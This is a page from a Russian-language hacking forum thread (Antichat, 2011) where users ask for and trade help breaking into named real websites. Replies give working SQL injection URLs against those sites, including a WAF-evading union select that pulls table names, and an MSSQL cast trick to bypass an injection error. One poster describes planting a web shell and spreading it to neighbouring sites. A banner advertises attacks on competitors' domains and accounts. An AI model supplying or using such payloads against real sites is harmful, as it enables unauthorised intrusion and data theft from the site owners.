Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1905 из 2438

1905

Опции темы

Поиск в этой теме

Опции просмотра

#19041

29.12.2011, 20:44

lightangel

Познающий

Регистрация: 07.11.2011

Сообщений: 91

С нами: 7638806

Репутация: -6

Код:

http://ogra.org.pk/cats_disp.php?cat=-172

It has 8 order by.

I cannot get tables.

It's WAF and I've tried all my WAF skills.

#19042

29.12.2011, 21:33

smirk

Участник форума

Регистрация: 08.09.2011

Сообщений: 137

С нами: 7725206

Репутация: 26

Цитата:

Сообщение от lightangel

Код:

http://ogra.org.pk/cats_disp.php?cat=-172

It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills.

http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,version(),7,8--+

#19043

29.12.2011, 23:25

lightangel

Познающий

Регистрация: 07.11.2011

Сообщений: 91

С нами: 7638806

Репутация: -6

Sorry, I mean tables and not the version.

I already had the version.

#19044

29.12.2011, 23:37

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 547

С нами: 8885780

Репутация: 672

http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,/*!table_name*/,7,8/**//*!from*//**/information_schema.%60tables%60--+

=\

#19045

30.12.2011, 00:27

shadowrun

Постоянный

Регистрация: 29.08.2010

Сообщений: 840

С нами: 8265206

Репутация: 84

http://www.traktora.com.ua/subcat.php?sort=1

Можно что-то выжать?

#19046

30.12.2011, 00:44

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от shadowrun

http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?

можно, но из другого скрипта:

http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--

#19047

30.12.2011, 00:46

shadowrun

Постоянный

Регистрация: 29.08.2010

Сообщений: 840

С нами: 8265206

Репутация: 84

Цитата:

Сообщение от d1v

можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--

Спасибо!

#19048

30.12.2011, 11:07

jangle

Познающий

Регистрация: 19.11.2006

Сообщений: 32

С нами: 10249722

Репутация: 5

MSSQL INJ

Цитата:

Сообщение от None

-12+union+select+@@version--

дает ответ

Цитата:

Сообщение от None

Microsoft SQL Native Client error '80040e14'
The ntext data type cannot be selected as DISTINCT because it is not comparable.

Возможно ли обойти DISTINCT в инъекции путем конверта или еще как то?

Спасибо

#19049

30.12.2011, 11:26

Ereee

Постоянный

Регистрация: 01.12.2011

Сообщений: 560

С нами: 7604246

Репутация: 267

Цитата:

Сообщение от jangle

MSSQL INJ
дает ответ
Возможно ли обойти
DISTINCT
в инъекции путем конверта или еще как то?
Спасибо

Select DISTINCT cast (Your Col Name as NVARCHAR(MAX))

#19050

30.12.2011, 11:29

DyukiN

Участник форума

Регистрация: 10.07.2011

Сообщений: 252

С нами: 7811606

Репутация: 21

залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?

Страница 1905 из 2438

1905

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 14 (пользователей: 0 , гостей: 14)

Быстрый переход